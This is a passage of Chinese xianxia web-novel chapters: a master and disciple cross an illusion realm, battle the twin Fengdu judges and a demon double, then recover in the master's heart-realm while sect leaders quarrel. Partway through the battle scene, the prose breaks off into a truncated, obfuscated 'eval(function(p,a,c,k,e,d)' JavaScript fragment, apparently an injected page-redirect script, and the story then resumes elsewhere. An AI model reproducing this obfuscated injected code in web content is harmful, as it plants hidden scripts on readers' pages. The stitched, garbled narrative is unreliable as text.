潇泉没有多问,跟他来到一处没有水流的净地。 闻尘盘腿而坐,示意她也坐下。 潇泉刚一盘腿坐在对面,闻尘伸出双手停在半空,她犹豫一会儿,试探上前牵住。 许是动作太轻微,闻尘握着她手往自己掌心轻轻一拉,“握紧一点,不然你感受不清。” 陌生的手掌温度清晰至极,潇泉手心稍痒,但没好意思乱动,就这样坐等闻尘进行下一步。 没多久,手掌传来灵气汩汩的温流,仿佛可以穿透灵魂,潇泉身体渐觉轻盈。 她反握闻尘双手,在灵气共渡之下,感受着他正在感受的事物:一个伸手不见五指的黑暗世界,有数道纱状的猩红雾气轻轻飘过。 潇泉小心触碰其中一缕,猩红雾气缓缓绕开,然后转了回来,爬上她的手指。 温度温凉,力度轻柔。 再看别处,有只丑陋可怖的妖兽被猩红雾气缠得快要窒息,和潇泉手上温柔乖觉的猩红魔气截然不同。 不说闻尘,她也没见过这类魔气,没有掺杂乱七八糟的污秽,十分之纯,凶起来当比潇泉的神魔之力还要可怖,可如今它却苍老古臭,将近灯枯油尽。 这时,潇泉身体控制不住狠狠一抖,闻尘迅速松手断开共感,问:“什么感觉?” “感觉很陌生,但又有点亲切……可能是我做过魔的缘故。”潇泉双手撑地而站,“世间不灭万年,亦生过万物。万年以来,绝对不止出现过我一个神魔。” 正有前人栽树,她才能乘凉。 “只是不知这位前辈到底是谁,死了百年还是千年,竟然还遗留着气息在世间做孤魂野鬼。”潇泉陷入苦思,“不对,这儿是无界幻境,气息可能有假。就算是真,我们亲眼见的也是过去的它。” 闻尘:“古魔记载不多,大多源自同根,要么由怨而生,要么从戾转煞,化魔过程繁复多样,种类等级不便评定,所以我们目前接触的种种,不过冰山一角。” 无非就是魑魅魍魉、妖魔鬼怪,就看力量大小、谁强谁弱了。 “翠城的遭遇不大可能是跟这缕魔气有关,也可能是……”潇泉说到一半停了下来。 后面的话闻尘没有追问,也不会追问。 潇泉知道他心知肚明,如果她没有堕成神魔、延续魔脉,恐怕九州早腾出大片净土了。 只要谈及妖魔,气氛总会变得怪异无比。要不是有师徒关系,谁能想到一个呼风唤雨的魔头会重生废柴,跟除魔卫道的正人君子待在一起,受其庇护……简直荒谬至极。 河水潺潺清澈,闻尘伸出双手没入水下,面容凝肃。 潇泉:“没有的话就算了,我们先安顿难民,待会儿去山里找野菜果子。” 闻尘收回双手,“水下没有生灵。” 一条充满勃勃生机的河流却没有半点生命,怎么看都很诡异。 潇泉:“这是不是无界幻境的漏洞之一?” 闻尘颔首。 潇泉了然,没有继续纠结此事,“我们先回去。” 二人离开河流回到破城,青泽弟子已经把找到的几个难民挪到打扫过的房屋里面,用外衣垫在下面给他们躺。还好正值八月,燥热得很,不然他们不知上哪儿寻被褥来给难民保暖。 潇泉进去先问:“情况怎么样了?” 一名给难民喂野菜汤的弟子转过头来,“已经有人去山上找野菜果子打算给这些百姓填饱一下肚子,但没有粮食补给,不知还能撑多久。” “那就好。”潇泉环顾四周没见丫头,“小乔呢?” 弟子到处张望,“咦……她刚刚还在,这会儿不知跑去哪儿了,没在屋里。” 潇泉:“我出去找找,你们帮忙照顾一下。我很快回来。” 她跑出屋子,去东边巷道转了一圈,又折路去另一边找。路上碰见跟过来的闻尘,正要叫他一起帮忙,便听他道:“她不在这儿。” 潇泉抱着希望问:“那你能感受到她的气息吗?” 闻尘颔首,“去的话,我陪你。”< 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活人不是别人,正是境主。 没有谁会蠢到把自己的心境内景随便给外人观看,要是碰到杀千刀的暗动手脚,可能会心境受损,甚至破裂,从而耗损境主多年的精气修为,没人敢赌。除此之外,心境还有修行限制,未达第十境及以上的修行者,基本与心境无缘。 闻尘把精灵放在心境养育算是明智之举,只要心境的布置陈设足以让精灵成长,那就可行。 对此,潇泉表示欣赏,“看来你做了不少功课,不错不错。倘若哪日我重修了灵力,你也帮我养一养精灵,如何?” 闻尘斟酌道:“精灵认主,不便代养。” “那怎么了?我们又不分家,你的就是我的。”潇泉眨眼朗笑,“我的还是我的。” 闻尘安静了很久,“我们不能每时每刻在一起。” 潇泉眼中笑意漫漫,“那你做个小玉佩,给它注入灵力,我日日戴在身上,这样我们就能每时每刻在一起了。” “……”闻尘看她一眼,“嗯。” 两人继而向前,绕过十八弯,眼前一片开阔,白鸟精灵刚好也飞回闻尘袖中。 不远处,一株参天古槐之下,有一个用石头堆成的小神庙,庙的旁边有块大石头,少女蜷曲身子睡在上面,神容安详平静。 潇泉摘下一根狗尾巴草,用它触碰少女鼻尖,“小乔、小乔?” 轻语轻哄,听了能让人陷入恬静酣睡,但乔伶不仅没有,反而当即苏醒,坐望潇泉,“啊……娘、娘……” 潇泉愣住,“啊?小乔你……叫我什么?我十五岁的黄花大闺女还没成亲呢,哪来的孩子……” 小乔摇头,“我、我娘。” 潇泉压住心中惊喜,坐下来认真听她表达,“你娘怎么了?她在哪儿?” 小乔两手比划,有点吃力道:“说我、要……” 潇泉轻声细语:“你娘要你做什么?” 小乔对着潇泉反复做拥抱姿势,尽管潇泉狐疑不已,但看她四肢慌忙,还是不由伸手抱一抱她,“没事没事,不急不急,想到了和我说也不迟。” 小乔抱着她点头。 神庙旁边,闻尘正在蹲着察看,“这石头堆成的神像有半仙半魔气息,和刚才我们所见的略有不同。魔气半生半熟,仙气却从未见闻。” 潇泉怪道:“又是没见过的?难不成这位仙君和那魔头一样活在千年之前?” 闻尘:“很有可能。” 天色不早,他们不敢耽误太久,怕那些晚辈弟子担忧,所以先带小乔回去。 等人心切的弟子们见他们回来,紧张的心弦不禁放松一些,简单把难民情况说与闻尘:“百里仙君,我们在这儿守了一阵,没发现有异。只是要破除幻境,怕得像大娘说的那样,去城门一探究竟。我们正在商量此事,不知仙君意下如何?” 闻尘把银龙收回剑鞘,悬在腰间,“你们在此守候,我带人去。” 弟子们看看潇泉又看看小乔,满脸都是不放心。 闻尘自然感知他们所想,但始终坚持己见,没有松口。 潇泉缓解尴尬氛围,“放心好了,我来青泽前在道观修行过一阵。虽然没有灵力,但压制妖魔鬼怪的法子我还是知晓一些的。再说咱们百里师父那么厉害,这次出行绝对没有问题。” 弟子们对此不予否认。他们并非不看好,只是这次危难波及城镇百姓,非同一般,因此忧心忡忡。看闻尘没有意见,潇泉又这么有理有据,他们不便多言,只好留在这里祈祷他们平安归来。 离开前,闻尘特意嘱咐他们不能去太远的地方救治难民,弟子们点头谨记。 38. 武峰大会(肆) 几人向大娘打听到城门方向,一路快步赶至。 这儿比城镇更萧条凄凉,沉重的铁门锈迹斑斑,带有暗红飞溅的痕迹,稍微靠近,令人反胃作呕的气息扑面而来。 潇泉还没说话,一张叠得整整齐齐的手帕便递到眼前。 闻尘看着铁门,“这里发生过一场暴乱,是守城的侍卫和逃城的百姓之间的冲突。” 潇泉闻多了这种气味,其实已经免疫,想把手帕传给小乔,看她已经捂住口鼻,默默叠好手帕放入怀中,“通灵眼看见的?” 闻尘点头,继续开眼探查。须臾,他明亮的眼瞳恢复深蓝,“此处阵法摧毁严重。门外没有妖魔。” 潇泉:“你能复原阵法吗?” “不能,术法不同。”闻尘走出几步,“你们先走,我重新布阵。” 要想知道外面是何等情景,他们必须出去一探究竟,来这儿不可能只是为了查探阵法。 潇泉拉着小乔让开几步,“好,我们去城外等你。” 闻尘扬手一拨,死气沉沉的铁门响起呜呜之音,朝两边阔开一人宽的缝隙。潇泉速领小乔出去,闻尘殿后关门,结下金纹法阵。 外面是与众不同的一片黄昏,细沙连天,像在记忆中出现过。潇泉瞳孔骤缩,心脏砰砰几下,脚下一片柔软,仿佛要倒。 有人抓稳她胳膊,“若不舒服,可以回去。” 潇泉脸色有点苍白,她缓了缓道:“来都来了,不如走走,看看会发生什么。” 反正身处幻境,一切虚幻,是生是死,与实无关。她挣出闻尘手掌,欲要往前,刚出一步,身后那手再次拉她,这次更紧。 潇泉停步回首,露出一个可以令人放心的笑容。 闻尘不为所动,“无界幻境,我能直破。” “我知道啊。”潇泉眨眼,“可你这样岂不是坏了规矩?出去之后不知他们会怎么编排我们青泽妄走捷径。你不是要福青泽厚土?名声不要了?” 闻尘:“名声而已。” 潇泉怔了怔神,叉腰瞪他,“嚯,好大的口气,以为多活两百年就能叱咤风云为所欲为了?知不知道人外有人天外有天,做人还是要懂规矩守本分的好。” 她知道一个违逆规矩、不守本分、堕仙成魔的人没有资格这样指教人家,但说不说是她的事,他听不听是他的事。 闻尘侧目看她,没说什么。 漫天黄沙卷成龙卷风,他们巧妙避开要害,在沙漠中小心谨慎地穿行。 不出意外,日光渐盛,潇泉开始浮汗。她知道此行很有可能会与天气争斗一番,抱着一丝希望想着可以避开,没曾想低估了幻境塑景的力量,哪怕有闻尘的灵鸟在耳边扇风,仍旧热得要命。 茫茫黄沙和传说一样,镶嵌着一面类似明珠的湖泊。潇泉立在边上观望片刻,确定不是幻觉,过去蹲下洗了把脸。小乔蹲在旁边看一下学一下,把整张面孔拍得到处是水。 给自己降温完毕,潇泉掏出手帕浸透水分,拧干递给闻尘,之后顿在半空。他脸上干净无汗,分明有修为保身抗热,无需外物降温。她反应过来,无奈一笑,准备收回手帕,闻尘捏住其中一角,往回一扯,“给我吧。” 他平静说着,拿到手帕之后却凝神不动,似乎在想该怎么处理,自己虚汗不出,无汗可擦,但给出汗人擦,又不合适。 闻尘将手帕递还回去,“你拿着,我不用。” 潇泉“啊”一声,点头接过。 粼粼湖水散着凉快潮气,潇泉挽高衣袖,拘起一捧水轻轻拍打手臂,然后就是脖颈。她目光不经意瞥过湖面,倏地停住。 有东西! 碧清湖面映出一幅画卷,画中女子白衣胜雪,坐在岸石上面悠悠梳头,动作轻柔,气质温婉,与书上所绘的江南女子无有不同。 似是察觉有人窥视,她不紧不慢抬头,慢慢转向潇泉。潇泉心中大惊,倍感不妙,想站起身却控不住身体,被一双无形巧手紧紧按在原地蹲着,难受得紧。 下一刻,女子闪身奔来,猛地伸手,一股漩涡似的力量将她拉向湖里。潇泉动弹不得,整个人栽倒进去,激起大片大片的水花,闻尘和小乔几乎同时跃入,湖中水花激荡好久不止。 扑进湖水那刻,闻尘抓紧潇泉衣角,没有溺水的窒息感,而是不知从何而来的强大压迫感。 这面湖泊是一个幻境入口,乍现的华光刺得人睁不开眼。 闻尘感觉身体轻盈得不像话,待光芒散去,他睁开双眼,发现自己身处异地,脚下是一座可见尽头的悬浮小岛,周围布着零散碎石,深红而尖锐。 空气死寂如空,不知潇泉小乔所在何处。闻尘静了片刻,走向唯一通往上方的悬浮石道,绕过一颗又一颗挡在半路的悬浮碎石。 一束被乌云遮蔽的隐晦天光自上倾下,红色闪电遍布八方,直击闻尘所在的悬浮石道,噼里啪啦一通作响,就是打不到他本人,任何一道闪电快要劈中闻尘时会忽然避开,落在旁边位置。 冷风萧萧,碎石乱飞,闻尘不变从容,稳步登至上方空岛。 空岛上,一株枯树斜斜长在山石间,枝头挂满破旧红绸,树下站着一名瘦弱女子,素白衣服烂到没有两袖,露出两条脏兮兮的胳膊,黑长指甲锋利得能开膛破肚,乌黑长发干燥垂地,手持一把巨型镰刀,泛着暗淡红光。 待闻尘一停,女子轻点脚尖,浮在空中,握紧镰刀,一张苍白玉面散发着浓郁鬼气,绿幽幽的眼珠盯着闻尘,“你是这里的,第七十七座坟。” 闻尘霍然挥手,银龙飞出剑鞘入他手中,“把人交出来。” 女子握紧刀柄,空洞眼神毫无生气,“遗言,你不配。”她夹出一张古旧的幽绿符纸,“酆都判官白灵,今日,收两命。” 话落,幽绿符纸烟消云散。 女子自报家门后,立马扛刀重重劈来。闻尘让步避开,浩然剑气回劈,和对方的邪气正面相撞。少顷,剑气将邪气吞噬殆尽,直冲而去。 女子避身闪开,劈出一道猛烈红光,数道闪电击向闻尘。闻尘旋步绕开,见闪电穷追不舍,一掌拍地,天空赫然出现一只巨大的金色掌印,将群魔乱舞的闪电尽数压灭在地。 两人来回争斗几十回,女子见闻尘法术非凡,面如死灰的脸庞扯出一丝不悦,“非凡之物,何故在此。”她把镰刀插进地里,周围的红色闪电皆凝于之上,爆出一道刺眼的光芒。 闻尘用阵法护体,等光芒散去,女子身边多了一个缠绕不休的黑影,面相更为阴戾妖冶,同样拿着一把巨型镰刀。 双生判官,黑白交织;纠缠不休,勾魂索命。 闻尘握紧剑柄,“你们早被降服,为何在此。” 黑衣男子不仅穿得破烂,话也忒多,“白灵你看,这人学你说话,真是可恨。不如你我二人就此联手,把他骨头渣滓都吞得都不剩。” 女子不答他话,继而道:“口出狂言,留不得。” 男子像是习惯她的状态,对闻尘说起话来,“倒是怪了,你一修仙之人,怎么还知道酆都之事?莫不是邪修?” 他仔细感受眼前紫衣男子的气息,没有丝毫污秽之息,反而浓郁仙气至阳至纯,散发着一种令人胆寒的压迫感,不可能是邪修。思来想去,男子终于想到一个可能:“你去过酆都?” 闻此,女子扭头看他。 男子低声道:“白灵,你还记不记得百年前酆都闭门闭户一事?当年的百妖夜行直接变成千妖围城,说是来了一位仙人,要应付……恐怕,就是眼前这位了。” 他们不曾亲眼见过那场面,所以没有认出。 男子不客气道:“原来当年闯酆都的人是你。我很好奇,难道你们修行之人不知道酆都禁行活人?仙人更是不行。要不是酆主看你老实本分,这才放你一马。不然你以为酆都会放活人出来?做梦!” 这是闻尘第一次见到他们。酆都历年有一对黑白判官,亦称“双煞”,乃百妖之首,臣服于酆都之主,没有具体姓名,只以“白灵”和“黑殇”作为代号,都是等到上一任陨灭或者转世才凭据实力登台。 这一对判官死得不算清白,那时他们不顾禁忌,进行邪修,吞杀活人,无恶不作,严重违背天道。酆都之主为了避免祸及酆都,将他们熔于鼎中,做成绵延酆都生气的养料——照魂灯,再无投胎之机,算是将功补过。 没想到会在这里遇见他们,按理来说不可能。 不管真相如何,闻尘只有一个目的。他转手将法力集于银龙剑中,将其变成金白色的开灵状态,再飞步逼到双煞面前一剑挥下,速度快到避之不及。 然而就在此时,强大的魔气突袭而来,闻尘即刻收剑,退到安全范围内。双煞来不及躲,被魔气死死掐在半空,不论怎么挣扎都无济于事,口中不停吐着断断续续的妖气。 一抹纤红的长影步入空岛,如瀑的乌黑长发之下是一张冷艳阴鸷的脸,宛如一朵绽放在黑暗里、视生命如蝼蚁的嗜血花。红衣女人双足不染纤尘,轻轻落地,衣袂翻飞,神情淡然。 看清面孔,闻尘愕在原地,险些握不稳剑。 幻境即是幻境,被魔气吊在空中的双煞慢慢失去生机,好像和闻尘交手就是为了拖延时间,等到真正该出现的人出现。 氛围刚才更为压抑,闻尘站着不动,望着前方不惧猎猎妖风的身影,亦或是,这妖风本就由她发散。 他闭上双目,一指一指地握回剑柄,剑芒比之前更加寒锐,但也更加颤抖。听到对面的轻微声响,闻尘毫不犹豫将积攒的剑气一挥而去。 女子不躲不避,胸口被穿出一个血淋淋的洞口。恐怖的是,她的伤口以肉眼可见的速度愈合,像拥有了不死之身。 闻尘即将挥出第二剑,忍不住睁眼,蓄力的剑刃陡然一顿,在空中要进不进,要退不退。 女子淡淡笑道:“你呼吸乱了,是因为看见这张脸很高兴?” 闻尘神情不改,抄起银龙布阵。 女子早有预料,快身闪过,随荡荡阴风掠到闻尘身边,冰凉柔软的双手轻轻搭住他肩膀,“世人杀我是惧我,你杀我是为了什么?”凄凄惨惨,如怨如诉。 闻尘冷声退开,“你不是她。” 女子大笑一声,拂袖甩身,“怎么不是了?论样貌、体态、身形、声音,哪个有假?就连我身上的神魔之力也是如假包换,你又何故说这话来气我。难道说,你还在埋怨两百年前我堕仙成魔,抛弃青泽之后,也抛弃了你。” 闻尘身形一顿,没有回答。 在魔气趁虚而入之前,他右手凝聚法力,一掌推开攀附在身的女人,不留任何情面。 女子见势不妙,刮起妖风自护,激动之下连着银龙一同刮走了。银龙被甩得天旋地转,胡乱自控方向,恰恰劈中枯树的一根粗枝。 闻尘视若无睹,在空中写下一道符文对准女子,同时瞥见有人拔出插在地里的银龙。 潇泉一身灰尘,握着剑柄站起身来,大口大口地喘着气道:“好不容易捡回一条烂命,你们就活埋我两次,要不是这剑歪打正着劈断了树枝,我真要吊死在树上了……吊死好啊,到时我化作厉鬼,你们一个都别想跑。” 闻尘倏然停住,以更快的速度施法束缚红衣女子。 自入境以来,他们全然不知对面的弱点,自身修为也像被什么东西给压制了,无法全力以赴。 闻尘拖延住女子,潇泉抓紧时间,用银龙割破掌心,鲜红液体如缕缕飞丝溅出,再施咒引为根根红线,一共十二根红线。她在地上捡起七片枯叶,对十二根红线一撒。 触及红线,枯叶像有了生命,在交错复杂的丝线当中自动排列,有序布在四面八方。这样一来,一个以红线编排的巨大阵法立即呈现,迅速围住女子。 阵法中,七片枯叶有红色咒文标记,配合十二根红线形成围剿之势,潇泉双手灵活操控,红线和咒叶合成的绞杀阵便飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她原先想学就学了,不深入精修就行,没想到这股深渊巨力对闻尘没有太大排斥,甘愿受其指引。 原因只有一个,闻尘把招魂学到精髓,懂得化用,无异于使用至尊魔力。 怪不得他会被押上判台,留下这么深的刑罚印记,这是真触犯了昆仑乃至整个仙门的底线,没有被挫骨扬灰都是仙门开大恩了。 潇泉难以想象华烨真人到底花了多大的精力去保闻尘性命,还让他稳坐仙尊之位,这其中代价,绝不是她随便能想到的。 青泽山欠华烨真人的岂止是人情,是一条命。 难听的话潇泉说不出口,归根结底对方是因为她才变成这样,难辩对错,或许皆错。 她张了张唇,发不出声音,推开闻尘倒向另一边,把自己缩成一团,紧紧环抱双臂,小心而缓慢地调整状态。 钻心刺骨的痛楚遍布五脏六腑,潇泉一忍再忍,浑身冒着涔涔冷汗,手脚不停发抖。身后隐约响起步声,她闭紧双眼,咬紧打颤的牙关,“……别过来。” 闻尘充耳不闻,把人抱起来坐好,两手穿入她的十指,紧接着一道莹莹华光极缓极慢地流入潇泉体内。 潇泉拗不过他,忍着痛楚端正坐好。 她这么悲愤激动,不只是因为闻尘不要命的冲动,更多归于自责,悔怨自己当初一意孤行,迈入魔道,以至于徒弟跟她学了歪门邪道。 假如、假如她没有收下这个徒弟,是不是就能死得心安理得了? 因为潇泉的废柴之身承受不住太大的力量,闻尘小心输送着灵气,确保灵气足够,能帮她恢复精神身体,慢慢松开双手。 潇泉状态趋于稳定,身体不再颤抖,坐着歇息不想说话。空气弥漫着淡淡的金银花香,她静心定神,无意闻到一丝苦药味。 有个问题她一直没问,究竟是他喜欢金银花,还是因为某种原因常年使用金银花,导致身上散发着花香。 是喜好?还是病用? 潇泉无力深想,只觉这花香药味刺得她眼睛酸涩。她深吸一口气,勉强坐直身体,抬头看他,“你生过大病?” 闻尘似乎有点意外,缄默顷刻道:“以前生过。” 潇泉安静下来,没有刨根问底,转问:“你还去过酆都?” 闻尘:“……是。” 潇泉:“去那儿干什么?” 闻尘用法术碎破指尖凝聚的魔气,低下眉眼,没有说话。 即便他不回应,潇泉仍然可以猜出他去酆都的目的,心中满是道不尽的酸楚。许是心情过于低落,加之脱战不久,她呆坐一会儿,忽往旁边一倒。 闻尘神情微变,将人打捞背在背上,带上银龙准备找出口离开,恰在这时,他脚下空岛变成了沙漠,然后是破城,仿佛他们走出城外遇到的画面全是假象,兜兜转转还是在城里弯弯绕绕,破除刚才的困境才恢复清明。 这里诡异得不正常,不是寻常的无界幻境,必须尽快离开。 前方屋檐下的一角,小乔蜷缩而睡,怎么叫都不醒,应是中了魔道,得去境外解开。 闻尘袖口一动,白鸟从中飞向远方。 青泽弟子听命赶来,看到这等惊骇的场面,来不及惊讶,先把小乔扶起,然后对闻尘讲述刚才的事发过程,“百里仙君,我们原本守得好好的,不知怎么就闪电雷鸣,屋子里的难民全变成了纸人,周边的废墟也是一碰就消……是不是能离开无界幻境了?” “不对,那红色的闪电从未见过,莫不是有什么东西在渡劫?” “呸,你别瞎说,渡劫可不是什么好玩意儿。要是碰到了妖物,那是得遭罪的!” 弟子们不敢多嘴闲聊,又问潇泉状况如何。 闻尘:“你们先带小乔出去,我稍后就到。” 弟子们点头,带着小乔一起离开了无界幻境,出口就在来时方向。 39. 武峰大典(伍) 出去之后,在场等候多时的众多子弟投来视线,和青泽关系较好的宗门弟子前来关心:“里面发生了何事,百里仙君和他徒弟怎么还不出来?” 青泽弟子不敢让大家担忧,依着闻尘的话意回应:“放心吧,没有大碍,他们师徒二人待会儿出来。” 匆忙赶来的宫璃看见小乔陷入昏迷,神色一惊,不太相信地问:“百里大人真是这么说的?” 青泽弟子:“确实如此,我们没有理由骗大家。” 他们不曾目睹闻尘三人历经了什么,不好多说,只说自己的所见所闻。众人听完,没觉有多大问题,叫他几位好好回宫歇息。青泽弟子自然也是这么想,背着小乔直奔五行宫,其他弟子则去叫医师来诊。 宫璃带着疑惑回到原位,仔细分析青泽弟子说的幻境,没觉哪里不对,但又奇怪为何会发生那种事?他踱来踱去,瞟见旁边一直盯着自己的兄长,不由吓了一跳,“你看我干什么?” 宫榷抱胸道:“你以为我想看你?是你走来走去太烦了。” “嘁。”宫璃甩头就走,“我走不就行了?” 宫榷没给他这个机会,握住他肩膀把人掰了回来,郑重道:“我问你,百里闻尘怎么还不出来?有事耽搁了?” 宫璃瞪他,把青泽弟子所说重述一遍,“你问我?我还想问你呢!你看你出的破题,一点儿也不考虑人家的感受。姐姐在里面受伤昏了,百里大人正在替她疗养心神。青泽弟子说,那儿就是一座鬼打墙的荒城。当时红色闪电一响,所有难民变成了纸人,奇怪得很,根本不符合出题的范围……”少年逼近看他,“哥,你是不是暗中搞鬼了?” 他埋怨望去,兄长却一脸严肃,完全没有干完坏事后的得意忘形,登时感到不对,问道:“哥,你干嘛这样……别吓我啊,真不是你故意的?” 宫榷皮笑肉不笑道:“宫晚晚,你要再给我泼脏水,下回我让你一个人去,鬼哭狼嚎都不救你。” 宫璃指手画脚,“那还不是你平时爱刁难弟子下属,动不动给他们增加难度,连我也一样。怪你自己啊,怪我干什么?除非你别再管我,不刁难我修行,不管我吃食,我就不怪你。” 少年话语得寸进尺,果然触到宫榷的逆鳞,男人扬眉冷气道:“什么叫刁难你?我是怕你什么都不会,别人都学会御剑飞行了你还在那里使不了剑,说出去丢我宫家颜面。还有,你的衣食住行,我记得我不曾亏待你。” 宫璃哼道:“我想买的衣裳你不给我买,也不许我吃糖。” “那衣裳缀的珍珠花纹款式都是女孩穿的,你买它干什么?”宫榷斜睨他,“你吃糖我本是懒得管,但也没有你一日三糖的道理。等后面蛀牙了,你别哭着求我给你拔。” 宫璃撅嘴,“谁说男孩不能穿漂亮衣服,我喜欢不行?你不给我买,难不成把钱留着给老婆买啊?你讨得到吗?” 男人冷峻的脸庞一下变成黑铁,扬手作势挥下一巴掌,但扇到少年脸上又变成了使劲捏。宫榷咬牙切齿道:“你知不知道有的时候我很想捏死你。” 宫璃扒着他手,“疼啊,拿开你的猪蹄!” 宫榷懒得与他置气,背手站直,“行了,我还在执行公务,你别来烦我,玩你的泥巴去。” “切,稀罕!”宫璃做一个鬼脸,不搭理他,溜进五行宫找人去了。 其他的无界幻境陆续有人出来,“心”境那边依然没有动静,哪怕所有幻境的人全部离开,“心”境还是如此。 众人开始细语谈论,直到幻境入口流出一缕缕雪白烟雾。 宫榷一下从座位上站起,侍立的朱雀门弟子迅速进入警戒状态,等候门主发话。 这不是危机的前兆,宫榷让他们放下戒备,走到幻境入口观察。若非境门关了进不去,他还真想看看里面到底发生了什么。 这缕云雾是由真正的心境散发出来的,懂点道行的都知道。 朱雀门弟子过来行礼,“仙君,要不要我们扭转时辰,进幻境看看?” 宫榷抬手,“不必。青泽弟子没说他们遇袭,想来应该无事。一个修为十二境的仙君用不着我们操心,你们散了吧,先回行宫,我会派人在此守候。” 大家看青泽弟子都没怎么着急,便去行宫坐等了。 花容酒不紧不慢走下座位,一副事不关己之态,“朱雀门主,你素来与青泽代宗主不合。态度这般敷衍,怕是要惹非议。” 宫榷懒得看她,“劳烦殿下屈尊下位特地来阴阳怪气。我做事自然有我的分寸,还是说你也觉得十二境的仙君需要担心?”他淡淡瞥去一眼,“与其担心那块木头,殿下不如先担心自己。” 这番孤高气傲之态令花容酒想起在望峰台的败状,脸上闪过狰狞,龙骨鞭一挥,哗啦啦的一条硬成一把森森白骨状的长剑,从后方抵住宫榷侧颈,她沉声道:“你活腻了?” 冷冷剑刃贴着暖肤快要见血,旁守的朱雀门弟子欲要上前阻止,宫榷抬手示意他们退下,转而夹住剑锋,“殿下,这儿可不是随你耍脾气的场地。” 说一位活了两百多年的仙君耍脾气,听着都不大像话。 花容酒少时的确娇纵,今时不同以往,她不会因为一两句挑衅就激动暴躁,反而懂得了克制,眼下以剑压他也是冷静得很,“幻境由你亲手制造,你当真不知境内绊住闻尘双脚的东西?”她握紧剑柄,“金鹤君,撒谎是要千刀万剐的。” 宫榷不慌不忙将剑夹开,转身看她,浓眉笑眼不掩张扬,“昆仑门规从未明确说谎的代价,我看是殿下想将我千刀万剐吧?” 花容酒大方承认,“是又如何?难道不该?” 宫榷弹开她剑,嗤道:“殿下莫要在光天化日之下做丑事。朱雀门和你无仇,你这般拿剑指人,传出去不好听,有损殿下名声,何必呢。” 花容酒淡然自若,飒然收回龙骨剑,用两人只能听到的声音说道:“总有一天,我会让你在我面前下跪求饶。” 宫榷懒声道:“是吗?那本君在此祝愿殿下美梦成真。” 花容酒横他一眼,拂袖离去。宫榷看也不看,面拂春风一般,走到后面还有闲心伸展懒腰放松。他招来两名武功不错的朱雀弟子在此等候,自己先回行宫了。 幻境入口的云雾长久不散,随着踪迹而去,源处坐着两人,一方拥抱依偎,一方埋头沉睡。许久,沉睡之人有了微弱动静,拥抱之人保持坐姿没有乱动,等待怀里的人睁眼。 首先映入潇泉眼帘的是淡阳之下的几只虚无白鸟,一碰即碎,正是先前见到的精灵。见她醒了,白鸟们扑翅飞远,好似在此专门候她醒来。 这是哪儿? 潇泉挪动身子,感觉自己好像被包裹着,温暖而柔软,不禁产生几丝恋恋不舍。待意识清醒,她才惊觉拥住自己的是活人。 她艰难抬头,闻尘恰好睁眼,眼中倦意明显。 潇泉怔了怔道:“怎么搞成这幅模样?”不说闻尘,她此刻话声若蚊蝇,像溺在水里刚被捞出来的。 闻尘不答,始终抱人如一。潇泉不大适应,动了动身想爬出去,闻尘不松双臂,反而拢紧,“就这样,先等等。” 暖意再度传输,潇泉实在乏累,挣扎之间还是勉强受着了。 淡淡清香萦绕周身,触感气味无比柔软舒服。略有不足的是,这个拥抱略微生涩,可能是他从没抱过人。胜在温暖踏实。 不知拥抱还要持续多久,潇泉开始打量周围环境。 空中白鸟遨游成线,自无顶高空垂下的墨水挂字不知长有几丈,随风飘摇,似如云纱。阳光从东边照来,轮廓模糊,好像与这方天地融为一体的一盏明灯。附近有屏风、桌椅、地毯,桌上药香四溢,看样子刚弄不久。 从如梦似幻的场景来看,不难猜出这儿就是那个地方。 潇泉挽住他胳膊,“这是你的心境?” 闻尘:“嗯,是。” 脱离险境,气氛缓和下来,潇泉身轻心松,说起昏迷时所梦到的事情,“我感觉自己像掉进了无底洞,听到有人叫我,怎么都醒不过来,像有人刻意压着我不让醒。” 闻尘稍稍松手,盯她看了好一会儿,“你在梦里看到了什么?” “什么都没看见,只能听到声音,意识断断续续,后面应是失去了五感。”潇泉努力回想,“那人的声音……很像我师姐,音色语气都极为相似……” 闻尘在青泽当家这么多年,对青泽历年的人物事迹都有了解,包括这位师姐,可惜仙历记载不多,印象最深的是她英年早逝一事。 闻尘:“不是幻听?” “我分不清楚。”潇泉记起自己昏迷前闻到的香味,“你先别动。” 听她这么一说,闻尘像受了定身术一般,坐立不动。潇泉屏住呼吸,慢慢靠近嗅他身上味道,见他没有抗拒,再往上嗅他头发,然后退身道:“不是你身上的香。” 闻尘抿唇,眉间略有疑惑,“什么?” 潇泉:“我昏迷前闻到了一股香味,但想不起来是什么。不是你身上的味道。” 闻尘弹指,空中遨游的白鸟飞远又来,嘴里衔着两支鲜花,一支是闻尘派它随处摘来的野花,另一支则是五行宫摆设的木槿花。前支潇泉细细闻过,没有问题,接着又凑近鼻子嗅木槿,还没触碰便闻到一股浓烈刺鼻的味道,她差点没把花扔飞。 闻尘见她反应之大,把花抛远了,问:“是木槿?” 潇泉点头,“我闻到了一股怪味,和在幻境闻到的气味很像,腥香怪腻得很。” 闻尘面目疑惑,挑回木槿嗅了嗅,沉默不语。 潇泉:“你闻到了吗?” 闻尘神情严肃,“没有。” “这么说来,可能是冲我来的。”潇泉攀着闻尘的臂膀起身,“不如我们出去问问这些木槿花是从哪儿采买的。你不关心典会,可能也不知晓。幻境危机未必是宫榷阴谋,他恨魔如仇,不会去酆都这种地方招来已经死了两百多年的双煞对付我们……这对双煞我没见过,不知怎么找上了我,我总觉得哪里怪怪的。小尘,我们出去找找线索吧。” 闻尘思量一阵,“好。” 说了这么多,潇泉才注意身上残留着被活埋在地下的土污,顺滑的头发变得干枯毛躁,须得好好清洗。 似想起什么,她回头打量闻尘,他的胸膛有轻微的压痕和脏污的尘土,而他像是不曾觉察,面不改色。 潇泉淡定回头,故作无事发生。 闻尘站到潇泉身旁,口中念诀,两人如穿越一般脱离心境,回到无界幻境出口,一前一后踏步离开。 守在幻境入口的朱雀门弟子瞧见华光翩翩,心知有人将要出来,赶忙进宫报信。不一会儿,行宫涌出一大群人,瞧一瞧师徒二人有没有事,更多仙徒则是比较好奇他们到底因何而困,但又想闻尘沉默寡言,于是便在旁边默默观望。 宫璃和青泽弟子先跑来关心,问了一堆有事没事的话。当然,这四名弟子的话都不如宫璃一个人说的多。 